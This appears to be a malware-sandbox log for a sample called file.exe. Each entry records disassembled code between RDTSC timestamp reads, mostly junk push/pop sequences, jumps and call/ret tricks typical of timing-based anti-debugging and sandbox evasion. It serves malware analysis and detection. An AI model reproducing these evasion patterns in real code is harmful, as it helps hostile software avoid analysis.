Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38E1D second address: A38E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A7DF second address: A3A854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F142CBFA9DBh 0x00000010 jmp 00007F142CBFA9D5h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F142CBFA9C8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 jno 00007F142CBFA9C8h 0x00000038 push 00000000h 0x0000003a pushad 0x0000003b mov ecx, ebx 0x0000003d xor dword ptr [ebp+12477EDAh], ecx 0x00000043 popad 0x00000044 xchg eax, ebx 0x00000045 push edi 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A854 second address: A3A87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F142CBF9DB6h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F142CBF9DC9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A87C second address: A3A886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F142CBFA9C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A886 second address: A3A88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D969 second address: A3D9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F142CBFA9D2h 0x00000019 jmp 00007F142CBFA9D5h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D9A9 second address: A3D9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B183 second address: A3B19C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F142CBFA9CDh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D9AD second address: A3D9B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B19C second address: A3B1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40145 second address: A4014B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4014B second address: A4015C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40C53 second address: A40C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40C57 second address: A40CC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e xor esi, dword ptr [ebp+122D3798h] 0x00000014 push 00000000h 0x00000016 jmp 00007F142CBFA9D3h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F142CBFA9C8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 movsx edi, si 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F142CBFA9D1h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 pushad 0x00000045 popad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40CC3 second address: A40CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42D4A second address: A42D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42D51 second address: A42D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F142CBF9DCDh 0x0000000b jmp 00007F142CBF9DC1h 0x00000010 je 00007F142CBF9DB6h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jmp 00007F142CBF9DBFh 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5BB0 second address: 9F5BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5BB6 second address: 9F5BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F142CBF9DBCh 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5BCD second address: 9F5BD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4605E second address: A46077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F142CBF9DB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4515F second address: A4517A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F142CBFA9C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F142CBFA9D2h 0x00000011 jo 00007F142CBFA9CCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45271 second address: A45278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48F6F second address: A48F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48F78 second address: A48F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F142CBF9DB6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49564 second address: A49568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49568 second address: A4956E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4956E second address: A495DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F142CBFA9C8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 and bx, ACFEh 0x0000002b mov edi, dword ptr [ebp+122D2B08h] 0x00000031 push 00000000h 0x00000033 mov edi, ebx 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 jng 00007F142CBFA9C7h 0x0000003e mov ah, 69h 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 jmp 00007F142CBFA9CDh 0x0000004a pop esi 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A495DB second address: A495E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B587 second address: A4B58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B58B second address: A4B5F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D1C34h], edi 0x00000016 push 00000000h 0x00000018 jmp 00007F142CBF9DC2h 0x0000001d adc di, 0E28h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F142CBF9DB8h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e call 00007F142CBF9DBDh 0x00000043 sub bh, FFFFFFC5h 0x00000046 pop edi 0x00000047 push eax 0x00000048 push eax 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8B6 second address: A4A8BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B5F6 second address: A4B5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B820 second address: A4B826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D4E8 second address: A4D4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D4EC second address: A4D4F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C6F6 second address: A4C700 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E548 second address: A4E54F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A523F9 second address: A523FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A523FD second address: A52467 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F142CBFA9C8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F142CBFA9CFh 0x00000014 push 00000000h 0x00000016 mov ebx, edx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F142CBFA9C8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D1BCAh] 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c push esi 0x0000003d jnc 00007F142CBFA9C6h 0x00000043 pop esi 0x00000044 jmp 00007F142CBFA9CEh 0x00000049 popad 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 push edi 0x00000051 pop edi 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52467 second address: A5246E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E680 second address: A4E685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E685 second address: A4E68F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F142CBF9DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F661 second address: A4F665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E68F second address: A4E6B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F142CBF9DBAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A505BC second address: A5062A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1BC3h], eax 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F142CBFA9C8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov ebx, dword ptr [ebp+124749D5h] 0x0000003e mov eax, dword ptr [ebp+122D14F1h] 0x00000044 cld 0x00000045 push FFFFFFFFh 0x00000047 jmp 00007F142CBFA9D0h 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F142CBFA9D0h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51561 second address: A51567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F665 second address: A4F669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E6B7 second address: A4E6BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54428 second address: A5442C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5062A second address: A50648 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F142CBF9DC2h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F669 second address: A4F685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007F142CBFA9CEh 0x0000000f pop ecx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50648 second address: A50656 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E7CB second address: A4E7D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50656 second address: A5065A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E7D5 second address: A4E7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5365C second address: A5366A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5366A second address: A5366E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5366E second address: A5367E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5462D second address: A54633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54633 second address: A54637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A556B0 second address: A556B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5577B second address: A55796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55796 second address: A5579A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5579A second address: A5579E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64569 second address: A64573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F142CBFA9C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A271 second address: A6A28D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F142CBF9DBAh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A696C1 second address: A696DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A696DD second address: A696FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F142CBF9DC9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6986B second address: A69897 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F142CBFA9D4h 0x00000011 jmp 00007F142CBFA9CCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69897 second address: A698C7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F142CBF9DB6h 0x00000008 jmp 00007F142CBF9DC3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F142CBF9DC1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A698C7 second address: A698CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A698CB second address: A698D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A698D1 second address: A698DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A698DB second address: A698DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A01 second address: A69A05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A05 second address: A69A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jo 00007F142CBF9DB6h 0x0000000f jmp 00007F142CBF9DBEh 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A2C second address: A69A36 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BA4 second address: A69BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BA9 second address: A69BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BAF second address: A69BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BB5 second address: A69BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69CEB second address: A69CF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D692 second address: A6D6A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D6A6 second address: A6D6C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBF9DC9h 0x00000009 jbe 00007F142CBF9DB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D6C9 second address: A6D6E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007F142CBFA9C6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop ebx 0x00000017 pushad 0x00000018 je 00007F142CBFA9C6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D6E9 second address: A6D712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F142CBF9DBAh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F142CBF9DC4h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D712 second address: A6D716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
